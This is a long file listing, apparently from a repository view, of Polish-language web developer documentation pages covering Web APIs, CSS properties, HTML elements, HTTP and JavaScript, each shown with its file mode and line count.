-rw-r--r--files/pl/web/api/element/clientwidth/index.html47
-rw-r--r--files/pl/web/api/element/dir/index.html34
-rw-r--r--files/pl/web/api/element/dispatchevent/index.html43
-rw-r--r--files/pl/web/api/element/firstchild/index.html101
-rw-r--r--files/pl/web/api/element/focus/index.html23
-rw-r--r--files/pl/web/api/element/getattribute/index.html43
-rw-r--r--files/pl/web/api/element/getattributenode/index.html36
-rw-r--r--files/pl/web/api/element/getattributenodens/index.html39
-rw-r--r--files/pl/web/api/element/getattributens/index.html47
-rw-r--r--files/pl/web/api/element/getboundingclientrect/index.html146
-rw-r--r--files/pl/web/api/element/getelementsbytagnamens/index.html49
-rw-r--r--files/pl/web/api/element/hasattribute/index.html34
-rw-r--r--files/pl/web/api/element/hasattributens/index.html39
-rw-r--r--files/pl/web/api/element/hasattributes/index.html28
-rw-r--r--files/pl/web/api/element/haschildnodes/index.html28
-rw-r--r--files/pl/web/api/element/id/index.html38
-rw-r--r--files/pl/web/api/element/index.html677
-rw-r--r--files/pl/web/api/element/innerhtml/index.html67
-rw-r--r--files/pl/web/api/element/insertadjacenthtml/index.html91
-rw-r--r--files/pl/web/api/element/insertbefore/index.html86
-rw-r--r--files/pl/web/api/element/lang/index.html40
-rw-r--r--files/pl/web/api/element/lastchild/index.html28
-rw-r--r--files/pl/web/api/element/length/index.html37
-rw-r--r--files/pl/web/api/element/localname/index.html64
-rw-r--r--files/pl/web/api/element/name/index.html60
-rw-r--r--files/pl/web/api/element/namespaceuri/index.html39
-rw-r--r--files/pl/web/api/element/nextsibling/index.html63
-rw-r--r--files/pl/web/api/element/nodename/index.html98
-rw-r--r--files/pl/web/api/element/nodetype/index.html44
-rw-r--r--files/pl/web/api/element/nodevalue/index.html85
-rw-r--r--files/pl/web/api/element/normalize/index.html22
-rw-r--r--files/pl/web/api/element/offsetheight/index.html61
-rw-r--r--files/pl/web/api/element/offsetleft/index.html73
-rw-r--r--files/pl/web/api/element/offsetparent/index.html28
-rw-r--r--files/pl/web/api/element/offsetwidth/index.html70
-rw-r--r--files/pl/web/api/element/onclick/index.html66
-rw-r--r--files/pl/web/api/element/onkeypress/index.html21
-rw-r--r--files/pl/web/api/element/onkeyup/index.html24
-rw-r--r--files/pl/web/api/element/onmousedown/index.html23
-rw-r--r--files/pl/web/api/element/onmousemove/index.html29
-rw-r--r--files/pl/web/api/element/ownerdocument/index.html30
-rw-r--r--files/pl/web/api/element/parentnode/index.html34
-rw-r--r--files/pl/web/api/element/prefix/index.html28
-rw-r--r--files/pl/web/api/element/previoussibling/index.html28
-rw-r--r--files/pl/web/api/element/queryselector/index.html180
-rw-r--r--files/pl/web/api/element/removeattribute/index.html36
-rw-r--r--files/pl/web/api/element/removeattributenode/index.html37
-rw-r--r--files/pl/web/api/element/removeattributens/index.html35
-rw-r--r--files/pl/web/api/element/removechild/index.html36
-rw-r--r--files/pl/web/api/element/replacechild/index.html53
-rw-r--r--files/pl/web/api/element/scrollleft/index.html58
-rw-r--r--files/pl/web/api/element/scrolltop/index.html70
-rw-r--r--files/pl/web/api/element/scrollwidth/index.html32
-rw-r--r--files/pl/web/api/element/setattribute/index.html34
-rw-r--r--files/pl/web/api/element/setattributenode/index.html40
-rw-r--r--files/pl/web/api/element/setattributenodens/index.html41
-rw-r--r--files/pl/web/api/element/setattributens/index.html33
-rw-r--r--files/pl/web/api/element/style/index.html52
-rw-r--r--files/pl/web/api/element/tabindex/index.html31
-rw-r--r--files/pl/web/api/element/tagname/index.html37
-rw-r--r--files/pl/web/api/element/textcontent/index.html41
-rw-r--r--files/pl/web/api/event/altkey/index.html31
-rw-r--r--files/pl/web/api/event/bubbles/index.html31
-rw-r--r--files/pl/web/api/event/button/index.html66
-rw-r--r--files/pl/web/api/event/cancelable/index.html34
-rw-r--r--files/pl/web/api/event/cancelbubble/index.html15
-rw-r--r--files/pl/web/api/event/charcode/index.html27
-rw-r--r--files/pl/web/api/event/clientx/index.html25
-rw-r--r--files/pl/web/api/event/clienty/index.html16
-rw-r--r--files/pl/web/api/event/ctrlkey/index.html26
-rw-r--r--files/pl/web/api/event/currenttarget/index.html25
-rw-r--r--files/pl/web/api/event/eventphase/index.html40
-rw-r--r--files/pl/web/api/event/index.html179
-rw-r--r--files/pl/web/api/event/initevent/index.html45
-rw-r--r--files/pl/web/api/event/initmouseevent/index.html86
-rw-r--r--files/pl/web/api/event/inituievent/index.html49
-rw-r--r--files/pl/web/api/event/ischar/index.html24
-rw-r--r--files/pl/web/api/event/keycode/index.html23
-rw-r--r--files/pl/web/api/event/layerx/index.html15
-rw-r--r--files/pl/web/api/event/layery/index.html17
-rw-r--r--files/pl/web/api/event/metakey/index.html30
-rw-r--r--files/pl/web/api/event/pagex/index.html17
-rw-r--r--files/pl/web/api/event/pagey/index.html15
-rw-r--r--files/pl/web/api/event/relatedtarget/index.html56
-rw-r--r--files/pl/web/api/event/screenx/index.html33
-rw-r--r--files/pl/web/api/event/screeny/index.html23
-rw-r--r--files/pl/web/api/event/shiftkey/index.html26
-rw-r--r--files/pl/web/api/event/stoppropagation/index.html26
-rw-r--r--files/pl/web/api/event/target/index.html27
-rw-r--r--files/pl/web/api/event/timestamp/index.html47
-rw-r--r--files/pl/web/api/event/type/index.html19
-rw-r--r--files/pl/web/api/event/view/index.html23
-rw-r--r--files/pl/web/api/file/file/index.html68
-rw-r--r--files/pl/web/api/file/index.html112
-rw-r--r--files/pl/web/api/geolocation_api/index.html92
-rw-r--r--files/pl/web/api/globaleventhandlers/index.html714
-rw-r--r--files/pl/web/api/globaleventhandlers/onblur/index.html85
-rw-r--r--files/pl/web/api/globaleventhandlers/onfocus/index.html87
-rw-r--r--files/pl/web/api/htmlcanvaselement/capturestream/index.html73
-rw-r--r--files/pl/web/api/htmlcanvaselement/getcontext/index.html129
-rw-r--r--files/pl/web/api/htmlcanvaselement/height/index.html79
-rw-r--r--files/pl/web/api/htmlcanvaselement/index.html97
-rw-r--r--files/pl/web/api/htmlcanvaselement/width/index.html79
-rw-r--r--files/pl/web/api/htmlelement/dataset/index.html134
-rw-r--r--files/pl/web/api/htmlelement/index.html409
-rw-r--r--files/pl/web/api/htmlformelement/acceptcharset/index.html33
-rw-r--r--files/pl/web/api/htmlformelement/action/index.html36
-rw-r--r--files/pl/web/api/htmlformelement/elements/index.html36
-rw-r--r--files/pl/web/api/htmlformelement/encoding/index.html15
-rw-r--r--files/pl/web/api/htmlformelement/enctype/index.html39
-rw-r--r--files/pl/web/api/htmlformelement/index.html143
-rw-r--r--files/pl/web/api/htmlformelement/length/index.html33
-rw-r--r--files/pl/web/api/htmlformelement/method/index.html35
-rw-r--r--files/pl/web/api/htmlformelement/name/index.html44
-rw-r--r--files/pl/web/api/htmlformelement/reset/index.html37
-rw-r--r--files/pl/web/api/htmlformelement/submit/index.html37
-rw-r--r--files/pl/web/api/htmlformelement/target/index.html35
-rw-r--r--files/pl/web/api/htmliframeelement/index.html288
-rw-r--r--files/pl/web/api/htmlselectelement/index.html166
-rw-r--r--files/pl/web/api/htmltableelement/caption/index.html39
-rw-r--r--files/pl/web/api/htmltableelement/index.html72
-rw-r--r--files/pl/web/api/htmltableelement/tfoot/index.html39
-rw-r--r--files/pl/web/api/htmltableelement/thead/index.html45
-rw-r--r--files/pl/web/api/index.html11
-rw-r--r--files/pl/web/api/location/index.html114
-rw-r--r--files/pl/web/api/location/reload/index.html67
-rw-r--r--files/pl/web/api/mediaelementaudiosourcenode/index.html84
-rw-r--r--files/pl/web/api/midiaccess/index.html70
-rw-r--r--files/pl/web/api/mousescrollevent/index.html126
-rw-r--r--files/pl/web/api/navigator/appcodename/index.html30
-rw-r--r--files/pl/web/api/navigator/appname/index.html29
-rw-r--r--files/pl/web/api/navigator/appversion/index.html32
-rw-r--r--files/pl/web/api/navigator/buildid/index.html41
-rw-r--r--files/pl/web/api/navigator/cookieenabled/index.html45
-rw-r--r--files/pl/web/api/navigator/index.html119
-rw-r--r--files/pl/web/api/navigator/javaenabled/index.html39
-rw-r--r--files/pl/web/api/navigator/language/index.html45
-rw-r--r--files/pl/web/api/navigator/mimetypes/index.html40
-rw-r--r--files/pl/web/api/navigator/mozpermissionsettings/index.html33
-rw-r--r--files/pl/web/api/navigator/online/index.html47
-rw-r--r--files/pl/web/api/navigator/oscpu/index.html41
-rw-r--r--files/pl/web/api/navigator/platform/index.html28
-rw-r--r--files/pl/web/api/navigator/plugins/index.html58
-rw-r--r--files/pl/web/api/navigator/product/index.html38
-rw-r--r--files/pl/web/api/navigator/productsub/index.html52
-rw-r--r--files/pl/web/api/navigator/registercontenthandler/index.html49
-rw-r--r--files/pl/web/api/navigator/registerprotocolhandler/index.html66
-rw-r--r--files/pl/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html107
-rw-r--r--files/pl/web/api/navigatorlanguage/index.html148
-rw-r--r--files/pl/web/api/navigatoronline/index.html127
-rw-r--r--files/pl/web/api/navigatoronline/zdarzenia_online_i_offline/index.html84
-rw-r--r--files/pl/web/api/navigatorplugins/index.html111
-rw-r--r--files/pl/web/api/parentnode/childelementcount/index.html93
-rw-r--r--files/pl/web/api/parentnode/children/index.html96
-rw-r--r--files/pl/web/api/parentnode/index.html90
-rw-r--r--files/pl/web/api/powiadomienie/index.html348
-rw-r--r--files/pl/web/api/push_api/index.html167
-rw-r--r--files/pl/web/api/range/index.html105
-rw-r--r--files/pl/web/api/response/index.html132
-rw-r--r--files/pl/web/api/screen/colordepth/index.html43
-rw-r--r--files/pl/web/api/screen/index.html74
-rw-r--r--files/pl/web/api/screen/width/index.html108
-rw-r--r--files/pl/web/api/selection/addrange/index.html40
-rw-r--r--files/pl/web/api/selection/anchornode/index.html22
-rw-r--r--files/pl/web/api/selection/anchoroffset/index.html23
-rw-r--r--files/pl/web/api/selection/collapse/index.html45
-rw-r--r--files/pl/web/api/selection/collapsetoend/index.html22
-rw-r--r--files/pl/web/api/selection/collapsetostart/index.html22
-rw-r--r--files/pl/web/api/selection/containsnode/index.html47
-rw-r--r--files/pl/web/api/selection/deletefromdocument/index.html24
-rw-r--r--files/pl/web/api/selection/extend/index.html40
-rw-r--r--files/pl/web/api/selection/focusnode/index.html21
-rw-r--r--files/pl/web/api/selection/focusoffset/index.html22
-rw-r--r--files/pl/web/api/selection/getrangeat/index.html44
-rw-r--r--files/pl/web/api/selection/index.html100
-rw-r--r--files/pl/web/api/selection/iscollapsed/index.html21
-rw-r--r--files/pl/web/api/selection/rangecount/index.html19
-rw-r--r--files/pl/web/api/selection/removeallranges/index.html22
-rw-r--r--files/pl/web/api/selection/removerange/index.html40
-rw-r--r--files/pl/web/api/selection/selectallchildren/index.html40
-rw-r--r--files/pl/web/api/selection/tostring/index.html35
-rw-r--r--files/pl/web/api/speechrecognition/index.html153
-rw-r--r--files/pl/web/api/storage/index.html154
-rw-r--r--files/pl/web/api/stylesheet/cssrules/index.html46
-rw-r--r--files/pl/web/api/stylesheet/deleterule/index.html26
-rw-r--r--files/pl/web/api/stylesheet/disabled/index.html25
-rw-r--r--files/pl/web/api/stylesheet/href/index.html42
-rw-r--r--files/pl/web/api/stylesheet/index.html57
-rw-r--r--files/pl/web/api/stylesheet/insertrule/index.html42
-rw-r--r--files/pl/web/api/stylesheet/media/index.html29
-rw-r--r--files/pl/web/api/stylesheet/ownerrule/index.html24
-rw-r--r--files/pl/web/api/stylesheet/parentstylesheet/index.html29
-rw-r--r--files/pl/web/api/stylesheet/title/index.html18
-rw-r--r--files/pl/web/api/stylesheet/type/index.html22
-rw-r--r--files/pl/web/api/web_audio_api/index.html503
-rw-r--r--files/pl/web/api/webgl_api/index.html252
-rw-r--r--files/pl/web/api/webgl_api/tutorial/index.html40
-rw-r--r--files/pl/web/api/window/alert/index.html58
-rw-r--r--files/pl/web/api/window/applicationcache/index.html33
-rw-r--r--files/pl/web/api/window/clearinterval/index.html28
-rw-r--r--files/pl/web/api/window/cleartimeout/index.html40
-rw-r--r--files/pl/web/api/window/closed/index.html59
-rw-r--r--files/pl/web/api/window/content/index.html43
-rw-r--r--files/pl/web/api/window/controllers/index.html24
-rw-r--r--files/pl/web/api/window/crypto/index.html19
-rw-r--r--files/pl/web/api/window/defaultstatus/index.html35
-rw-r--r--files/pl/web/api/window/directories/index.html33
-rw-r--r--files/pl/web/api/window/document/index.html40
-rw-r--r--files/pl/web/api/window/dump/index.html30
-rw-r--r--files/pl/web/api/window/focus/index.html24
-rw-r--r--files/pl/web/api/window/frameelement/index.html34
-rw-r--r--files/pl/web/api/window/frames/index.html31
-rw-r--r--files/pl/web/api/window/getselection/index.html39
-rw-r--r--files/pl/web/api/window/index.html494
-rw-r--r--files/pl/web/api/window/localstorage/index.html125
-rw-r--r--files/pl/web/api/window/name/index.html27
-rw-r--r--files/pl/web/api/window/navigator/index.html84
-rw-r--r--files/pl/web/api/window/onload/index.html62
-rw-r--r--files/pl/web/api/window/open/index.html796
-rw-r--r--files/pl/web/api/window/opendialog/index.html75
-rw-r--r--files/pl/web/api/window/opener/index.html49
-rw-r--r--files/pl/web/api/window/prompt/index.html33
-rw-r--r--files/pl/web/api/window/requestanimationframe/index.html170
-rw-r--r--files/pl/web/api/window/resizeby/index.html32
-rw-r--r--files/pl/web/api/window/resizeto/index.html36
-rw-r--r--files/pl/web/api/window/scroll/index.html33
-rw-r--r--files/pl/web/api/window/scrollbylines/index.html35
-rw-r--r--files/pl/web/api/window/scrollbypages/index.html35
-rw-r--r--files/pl/web/api/window/scrollto/index.html32
-rw-r--r--files/pl/web/api/window/setinterval/index.html87
-rw-r--r--files/pl/web/api/window/settimeout/index.html46
-rw-r--r--files/pl/web/api/window/sidebar/index.html56
-rw-r--r--files/pl/web/api/windowbase64/atob/index.html104
-rw-r--r--files/pl/web/api/windowbase64/btoa/index.html126
-rw-r--r--files/pl/web/api/windowbase64/index.html113
-rw-r--r--files/pl/web/api/zdarzenia_dotykowe/index.html336
-rw-r--r--files/pl/web/bezpieczeństwo/certificate_transparency/index.html63
-rw-r--r--files/pl/web/bezpieczeństwo/index.html24
-rw-r--r--files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/index.html36
-rw-r--r--files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/podatnosci/index.html100
-rw-r--r--files/pl/web/bezpieczeństwo/same-origin_policy/index.html277
-rw-r--r--files/pl/web/bezpieczeństwo/subresource_integrity/index.html163
-rw-r--r--files/pl/web/css/-moz-binding/index.html48
-rw-r--r--files/pl/web/css/-moz-border-bottom-colors/index.html56
-rw-r--r--files/pl/web/css/-moz-border-left-colors/index.html15
-rw-r--r--files/pl/web/css/-moz-box-align/index.html77
-rw-r--r--files/pl/web/css/-moz-box-flex/index.html64
-rw-r--r--files/pl/web/css/-moz-box-orient/index.html54
-rw-r--r--files/pl/web/css/-moz-box-pack/index.html82
-rw-r--r--files/pl/web/css/-moz-image-region/index.html41
-rw-r--r--files/pl/web/css/-moz-outline-color/index.html12
-rw-r--r--files/pl/web/css/-moz-outline-radius-bottomleft/index.html17
-rw-r--r--files/pl/web/css/-moz-outline-radius-bottomright/index.html15
-rw-r--r--files/pl/web/css/-moz-outline-radius-topleft/index.html15
-rw-r--r--files/pl/web/css/-moz-outline-radius/index.html71
-rw-r--r--files/pl/web/css/@document/index.html46
-rw-r--r--files/pl/web/css/@import/index.html34
-rw-r--r--files/pl/web/css/@media/index.html193
-rw-r--r--files/pl/web/css/@supports/index.html123
-rw-r--r--files/pl/web/css/_colon_-moz-last-node/index.html63
-rw-r--r--files/pl/web/css/_colon_-moz-tree-cell-text/index.html25
-rw-r--r--files/pl/web/css/_colon_-moz-tree-cell/index.html28
-rw-r--r--files/pl/web/css/_colon_-moz-tree-column/index.html25
-rw-r--r--files/pl/web/css/_colon_-moz-tree-drop-feedback/index.html26
-rw-r--r--files/pl/web/css/_colon_-moz-tree-image/index.html28
-rw-r--r--files/pl/web/css/_colon_-moz-tree-indentation/index.html23
-rw-r--r--files/pl/web/css/_colon_-moz-tree-line/index.html24
-rw-r--r--files/pl/web/css/_colon_-moz-tree-progressmeter/index.html24
-rw-r--r--files/pl/web/css/_colon_-moz-tree-row/index.html47
-rw-r--r--files/pl/web/css/_colon_-moz-tree-separator/index.html27
-rw-r--r--files/pl/web/css/_colon_-moz-tree-twisty/index.html29
-rw-r--r--files/pl/web/css/_colon_active/index.html160
-rw-r--r--files/pl/web/css/_colon_after/index.html63
-rw-r--r--files/pl/web/css/_colon_before/index.html60
-rw-r--r--files/pl/web/css/_colon_empty/index.html44
-rw-r--r--files/pl/web/css/_colon_first-child/index.html74
-rw-r--r--files/pl/web/css/_colon_first-letter/index.html49
-rw-r--r--files/pl/web/css/_colon_first-node/index.html58
-rw-r--r--files/pl/web/css/_colon_hover/index.html101
-rw-r--r--files/pl/web/css/_colon_lang/index.html31
-rw-r--r--files/pl/web/css/_colon_last-child/index.html51
-rw-r--r--files/pl/web/css/_colon_link/index.html70
-rw-r--r--files/pl/web/css/_colon_not/index.html73
-rw-r--r--files/pl/web/css/_colon_root/index.html26
-rw-r--r--files/pl/web/css/appearance/index.html96
-rw-r--r--files/pl/web/css/attribute_selectors/index.html238
-rw-r--r--files/pl/web/css/azimuth/index.html97
-rw-r--r--files/pl/web/css/background-attachment/index.html124
-rw-r--r--files/pl/web/css/background-color/index.html82
-rw-r--r--files/pl/web/css/background-image/index.html114
-rw-r--r--files/pl/web/css/background-origin/index.html52
-rw-r--r--files/pl/web/css/background-position/index.html122
-rw-r--r--files/pl/web/css/background-size/index.html190
-rw-r--r--files/pl/web/css/background/index.html134
-rw-r--r--files/pl/web/css/border-bottom-color/index.html149
-rw-r--r--files/pl/web/css/border-bottom-left-radius/index.html20
-rw-r--r--files/pl/web/css/border-bottom-right-radius/index.html20
-rw-r--r--files/pl/web/css/border-bottom-style/index.html159
-rw-r--r--files/pl/web/css/border-bottom-width/index.html143
-rw-r--r--files/pl/web/css/border-bottom/index.html146
-rw-r--r--files/pl/web/css/border-collapse/index.html89
-rw-r--r--files/pl/web/css/border-color/index.html135
-rw-r--r--files/pl/web/css/border-left-color/index.html109
-rw-r--r--files/pl/web/css/border-left-style/index.html16
-rw-r--r--files/pl/web/css/border-left-width/index.html19
-rw-r--r--files/pl/web/css/border-left/index.html123
-rw-r--r--files/pl/web/css/border-radius/index.html69
-rw-r--r--files/pl/web/css/border-right-color/index.html16
-rw-r--r--files/pl/web/css/border-right-style/index.html16
-rw-r--r--files/pl/web/css/border-right-width/index.html17
-rw-r--r--files/pl/web/css/border-right/index.html123
-rw-r--r--files/pl/web/css/border-spacing/index.html101
-rw-r--r--files/pl/web/css/border-style/index.html126
-rw-r--r--files/pl/web/css/border-top-color/index.html14
-rw-r--r--files/pl/web/css/border-top-left-radius/index.html20
-rw-r--r--files/pl/web/css/border-top-right-radius/index.html14
-rw-r--r--files/pl/web/css/border-top-style/index.html16
-rw-r--r--files/pl/web/css/border-top-width/index.html16
-rw-r--r--files/pl/web/css/border-top/index.html123
-rw-r--r--files/pl/web/css/border-width/index.html113
-rw-r--r--files/pl/web/css/border/index.html123
-rw-r--r--files/pl/web/css/bottom/index.html149
-rw-r--r--files/pl/web/css/box-decoration-break/index.html202
-rw-r--r--files/pl/web/css/box-direction/index.html72
-rw-r--r--files/pl/web/css/box-shadow/index.html222
-rw-r--r--files/pl/web/css/box-sizing/index.html45
-rw-r--r--files/pl/web/css/clear/index.html98
-rw-r--r--files/pl/web/css/clip/index.html92
-rw-r--r--files/pl/web/css/color/index.html62
-rw-r--r--files/pl/web/css/content/index.html107
-rw-r--r--files/pl/web/css/counter-increment/index.html67
-rw-r--r--files/pl/web/css/counter-reset/index.html66
-rw-r--r--files/pl/web/css/css_colors/index.html119
-rw-r--r--files/pl/web/css/css_colors/narzedzie_doboru_kolorow/index.html3241
-rw-r--r--files/pl/web/css/css_flexible_box_layout/index.html156
-rw-r--r--files/pl/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html609
-rw-r--r--files/pl/web/css/css_grid_layout/index.html245
-rw-r--r--files/pl/web/css/css_grid_layout/realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_css/index.html594
-rw-r--r--files/pl/web/css/css_reference/index.html56
-rw-r--r--files/pl/web/css/css_selectors/index.html133
-rw-r--r--files/pl/web/css/css_selectors/użycie_pseudoklasy__colon_target_w_selektorach/index.html64
-rw-r--r--files/pl/web/css/cursor/index.html156
-rw-r--r--files/pl/web/css/cursor/użycie_wartości_url_dla_własności_cursor/index.html41
-rw-r--r--files/pl/web/css/częste_pytania_o_css/index.html162
-rw-r--r--files/pl/web/css/direction/index.html50
-rw-r--r--files/pl/web/css/display/index.html168
-rw-r--r--files/pl/web/css/dziedziczenie/index.html50
-rw-r--r--files/pl/web/css/empty-cells/index.html77
-rw-r--r--files/pl/web/css/float/index.html116
-rw-r--r--files/pl/web/css/font-family/index.html58
-rw-r--r--files/pl/web/css/font-size-adjust/index.html60
-rw-r--r--files/pl/web/css/font-size/index.html339
-rw-r--r--files/pl/web/css/font-stretch/index.html77
-rw-r--r--files/pl/web/css/font-style/index.html49
-rw-r--r--files/pl/web/css/font-variant/index.html79
-rw-r--r--files/pl/web/css/font-weight/index.html107
-rw-r--r--files/pl/web/css/font/index.html145
-rw-r--r--files/pl/web/css/grid/index.html200
-rw-r--r--files/pl/web/css/height/index.html92
-rw-r--r--files/pl/web/css/id_selectors/index.html77
-rw-r--r--files/pl/web/css/ime-mode/index.html9
-rw-r--r--files/pl/web/css/index.html95
-rw-r--r--files/pl/web/css/initial/index.html118
-rw-r--r--files/pl/web/css/inne_zasoby/index.html28
-rw-r--r--files/pl/web/css/letter-spacing/index.html74
-rw-r--r--files/pl/web/css/list-style-image/index.html70
-rw-r--r--files/pl/web/css/list-style-position/index.html99
-rw-r--r--files/pl/web/css/list-style-type/index.html108
-rw-r--r--files/pl/web/css/margin/index.html112
-rw-r--r--files/pl/web/css/media_queries/index.html122
-rw-r--r--files/pl/web/css/media_queries/using_media_queries/index.html643
-rw-r--r--files/pl/web/css/mozilla_extensions/index.html679
-rw-r--r--files/pl/web/css/na_początek/bloki/index.html70
-rw-r--r--files/pl/web/css/na_początek/czym_jest_css/index.html132
-rw-r--r--files/pl/web/css/na_początek/czytelny_css/index.html153
-rw-r--r--files/pl/web/css/na_początek/dane_xml/index.html191
-rw-r--r--files/pl/web/css/na_początek/grafika_svg/index.html195
-rw-r--r--files/pl/web/css/na_początek/index.html63
-rw-r--r--files/pl/web/css/na_początek/jak_działa_css/index.html113
-rw-r--r--files/pl/web/css/na_początek/javascript/index.html126
-rw-r--r--files/pl/web/css/na_początek/kaskadowość_i_dziedziczenie/index.html96
-rw-r--r--files/pl/web/css/na_początek/kolor/index.html208
-rw-r--r--files/pl/web/css/na_początek/listy/index.html268
-rw-r--r--files/pl/web/css/na_początek/media/index.html318
-rw-r--r--files/pl/web/css/na_początek/po_co_używać_css/index.html85
-rw-r--r--files/pl/web/css/na_początek/selektory/index.html259
-rw-r--r--files/pl/web/css/na_początek/style_tekstowe/index.html115
-rw-r--r--files/pl/web/css/na_początek/tables/index.html596
-rw-r--r--files/pl/web/css/na_początek/układ/index.html274
-rw-r--r--files/pl/web/css/na_początek/wiązania_xbl/index.html176
-rw-r--r--files/pl/web/css/na_początek/xul-owe_interfejsy_użytkownika/index.html299
-rw-r--r--files/pl/web/css/opacity/index.html180
-rw-r--r--files/pl/web/css/outline-offset/index.html42
-rw-r--r--files/pl/web/css/outline/index.html57
-rw-r--r--files/pl/web/css/page-break-after/index.html101
-rw-r--r--files/pl/web/css/prywatnosc_i_znacznik__colon_visited/index.html68
-rw-r--r--files/pl/web/css/right/index.html148
-rw-r--r--files/pl/web/css/rozszerzenia_webkit/index.html358
-rw-r--r--files/pl/web/css/selektor_klasy/index.html86
-rw-r--r--files/pl/web/css/selektor_uniwersalny/index.html104
-rw-r--r--files/pl/web/css/selektory_typu/index.html80
-rw-r--r--files/pl/web/css/skrócone_deklaracje_css/index.html56
-rw-r--r--files/pl/web/css/text-transform/index.html81
-rw-r--r--files/pl/web/css/transform-function/index.html201
-rw-r--r--files/pl/web/css/transform-function/matrix()/index.html58
-rw-r--r--files/pl/web/css/using_css_custom_properties/index.html244
-rw-r--r--files/pl/web/css/vertical-align/index.html66
-rw-r--r--files/pl/web/css/wartość_początkowa/index.html25
-rw-r--r--files/pl/web/css/white-space/index.html93
-rw-r--r--files/pl/web/css/width/index.html207
-rw-r--r--files/pl/web/css/word-spacing/index.html78
-rw-r--r--files/pl/web/css/z-index/index.html128
-rw-r--r--files/pl/web/dostępność/an_overview_of_accessible_web_applications_and_widgets/index.html165
-rw-r--r--files/pl/web/dostępność/index.html94
-rw-r--r--files/pl/web/dostępność/keyboard-navigable_javascript_widgets/index.html171
-rw-r--r--files/pl/web/exslt/index.html93
-rw-r--r--files/pl/web/guide/ajax/index.html23
-rw-r--r--files/pl/web/guide/ajax/na_początek/index.html221
-rw-r--r--files/pl/web/guide/api/index.html25
-rw-r--r--files/pl/web/guide/css/kolumny_css3/index.html65
-rw-r--r--files/pl/web/guide/css/sprawdzanie_media_queries/index.html116
-rw-r--r--files/pl/web/guide/graphics/index.html41
-rw-r--r--files/pl/web/guide/html/editable_content/index.html216
-rw-r--r--files/pl/web/guide/index.html55
-rw-r--r--files/pl/web/guide/liczniki_css/index.html86
-rw-r--r--files/pl/web/guide/performance/index.html14
-rw-r--r--files/pl/web/html(pl)/index.html108
-rw-r--r--files/pl/web/html(pl)/tryb_zgodnosci_oraz_tryb_standardow/index.html54
-rw-r--r--files/pl/web/html/canvas/index.html55
-rw-r--r--files/pl/web/html/element/a/index.html384
-rw-r--r--files/pl/web/html/element/abbr/index.html200
-rw-r--r--files/pl/web/html/element/acronym/index.html81
-rw-r--r--files/pl/web/html/element/address/index.html140
-rw-r--r--files/pl/web/html/element/applet/index.html74
-rw-r--r--files/pl/web/html/element/aside/index.html126
-rw-r--r--files/pl/web/html/element/b/index.html30
-rw-r--r--files/pl/web/html/element/base/index.html129
-rw-r--r--files/pl/web/html/element/basefont/index.html34
-rw-r--r--files/pl/web/html/element/bdo/index.html22
-rw-r--r--files/pl/web/html/element/bgsound/index.html45
-rw-r--r--files/pl/web/html/element/big/index.html20
-rw-r--r--files/pl/web/html/element/blink/index.html22
-rw-r--r--files/pl/web/html/element/blockquote/index.html49
-rw-r--r--files/pl/web/html/element/body/index.html166
-rw-r--r--files/pl/web/html/element/br/index.html41
-rw-r--r--files/pl/web/html/element/center/index.html36
-rw-r--r--files/pl/web/html/element/cite/index.html38
-rw-r--r--files/pl/web/html/element/code/index.html23
-rw-r--r--files/pl/web/html/element/comment/index.html33
-rw-r--r--files/pl/web/html/element/dd/index.html33
-rw-r--r--files/pl/web/html/element/details/index.html195
-rw-r--r--files/pl/web/html/element/div/index.html131
-rw-r--r--files/pl/web/html/element/dl/index.html112
-rw-r--r--files/pl/web/html/element/dt/index.html24
-rw-r--r--files/pl/web/html/element/em/index.html31
-rw-r--r--files/pl/web/html/element/head/index.html130
-rw-r--r--files/pl/web/html/element/heading_elements/index.html250
-rw-r--r--files/pl/web/html/element/hr/index.html57
-rw-r--r--files/pl/web/html/element/html/index.html122
-rw-r--r--files/pl/web/html/element/i/index.html19
-rw-r--r--files/pl/web/html/element/iframe/index.html292
-rw-r--r--files/pl/web/html/element/index.html131
-rw-r--r--files/pl/web/html/element/input/button/index.html341
-rw-r--r--files/pl/web/html/element/input/index.html1376
-rw-r--r--files/pl/web/html/element/kbd/index.html27
-rw-r--r--files/pl/web/html/element/li/index.html50
-rw-r--r--files/pl/web/html/element/link/index.html412
-rw-r--r--files/pl/web/html/element/marquee/index.html112
-rw-r--r--files/pl/web/html/element/meta/index.html144
-rw-r--r--files/pl/web/html/element/ol/index.html123
-rw-r--r--files/pl/web/html/element/p/index.html45
-rw-r--r--files/pl/web/html/element/q/index.html36
-rw-r--r--files/pl/web/html/element/ruby/index.html103
-rw-r--r--files/pl/web/html/element/s/index.html23
-rw-r--r--files/pl/web/html/element/samp/index.html25
-rw-r--r--files/pl/web/html/element/section/index.html128
-rw-r--r--files/pl/web/html/element/small/index.html26
-rw-r--r--files/pl/web/html/element/span/index.html138
-rw-r--r--files/pl/web/html/element/strong/index.html22
-rw-r--r--files/pl/web/html/element/title/index.html122
-rw-r--r--files/pl/web/html/element/tt/index.html27
-rw-r--r--files/pl/web/html/element/ul/index.html103
-rw-r--r--files/pl/web/html/element/video/index.html355
-rw-r--r--files/pl/web/html/elementy_blokowe/index.html38
-rw-r--r--files/pl/web/html/elementy_liniowe/index.html30
-rw-r--r--files/pl/web/html/global_attributes/index.html480
-rw-r--r--files/pl/web/html/global_attributes/pisownia/index.html63
-rw-r--r--files/pl/web/html/global_attributes/tabindex/index.html114
-rw-r--r--files/pl/web/html/index.html56
-rw-r--r--files/pl/web/html/kontrola_sprawdzania_pisowni_w_formularzach_html/index.html28
-rw-r--r--files/pl/web/html/zarządzanie_fokusem_w_html/index.html18
-rw-r--r--files/pl/web/html/znaczenie_poprawnego_komentowania/index.html64
-rw-r--r--files/pl/web/http/authentication/index.html135
-rw-r--r--files/pl/web/http/ciasteczka/index.html263
-rw-r--r--files/pl/web/http/headers/cache-control/index.html171
-rw-r--r--files/pl/web/http/headers/data/index.html81
-rw-r--r--files/pl/web/http/headers/index.html374
-rw-r--r--files/pl/web/http/headers/referrer-policy/index.html260
-rw-r--r--files/pl/web/http/http_wiadomosci_ogólne/index.html178
-rw-r--r--files/pl/web/http/index.html89
-rw-r--r--files/pl/web/index.html53
-rw-r--r--files/pl/web/javascript/domkniecia/index.html408
-rw-r--r--files/pl/web/javascript/dziedziczenie_lancuch_prototypow/index.html295
